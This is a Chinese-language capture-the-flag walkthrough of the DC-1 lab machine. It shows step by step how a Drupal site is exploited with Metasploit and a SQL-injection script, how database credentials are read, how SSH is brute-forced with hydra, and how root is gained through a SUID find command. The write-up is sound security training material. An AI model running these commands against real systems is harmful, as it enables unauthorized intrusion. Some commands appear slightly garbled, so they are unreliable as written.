一、环境配置1、靶机DC-12、攻击机kali二、信息收集1、ifconfig查看本机IP2、探测靶机IP靶机IP为192.168.137.1423、查看靶机IP开放的端口80端口开放4、浏览器访问靶机IP使用Wappalyzer浏览器插件探测网站的技术栈三、搜寻漏洞及利用1、使用mfs搜索Drupal相关漏洞利用模块发现1和16可以使用2、利用漏洞模块查看模块所需参数use 1show options3、设置目标主机执行漏洞利用拿到Meterpreter会话漏洞利用成功set rhosts 192.168.137.142run四、获取flag11、进入普通shell在打开的shell通道执行python语句生成tty交互式终端2、列出当前目录所有文件和文件夹发现了flag1.txt使用cat命令查看flag1的内容五、获取flag21、根据flag1提示CMS有配置文件。在整个靶机中搜索setting.php,找到完整的路径find / -name settings.php2、使用cat命令查看文件内容查看到flag2且获得数据库账号密码3、在靶机shell里登录mysql成功进入mysql交互界面mysql -u dbuser -pR0ck3t4、查看数据库show databases5、切换数据库查看drupaldb库中全部的数据表查到了users表use drupaldbshow tables6、查看users表的内容查看到了用户admin和admin加密后的密码select * from users;7、ls查看到scripts进入scripts文件查看文件下发现了password-hash.sh8、切回/var/www目录使用php脚本文件将admin的密码修改成abc123php scripts/password-hash.sh abc1239、使用账号admin密码为abc123成功登录六、获取flag31、在Wappalyzer中得到Drupal的版本为7在msf的16中为SQL注入可添加管理员账号查看34992.py脚本信息和查看脚本完整路径pathsearchsploit -p php/webapps/34992.py2、使用python2运行脚本运行脚本带的参数信息-t为靶机网站地址-u新建的Drupal管理员账号名-p新建的管理员账号密码3、运行成功成功登录获取得flag3七、获取flag41、flag3的提示信息特殊权限(suid)可以帮助查找passwd文件但是需要使用-exec参数执行命令从而找到shadow文件里的内容查看passwd查看用户账户信息cat /etc/passwd2、查到系统名为flag4的系统用户名3、尝试读取shadow文件获取加密后的密码但权限不足读取失败cat /etc/shadow4、使用hydra暴力破解对靶机ssh服务破解获得flag4密码hydra -l flag4 -p /usr/share/wordlists/rockyou.txt.gz ssh://192.168.137.1425、ssh登录输入获取的密码orange成功登录后ls查看目录找到flag4.txt使用cat命令查看内容·获得flag4ssh flag4192.168.137.142八、获取thefinaflag1、依据flag4提示获取root权限在靶机里全盘搜索系统里带suid权限的文件找到/usr/bin/find-perm -us -type f 2/dev/null2、查看文件权限验证suid是否有效获取root shell然后切换到root的家目录ls -l $(which find)find /etc/passwd -exec whoami \;find /etc/passwd -exec /bin/sh \;idcd /root3、cat命令查看内容获取到thefinaflagcat thefinalflag.txt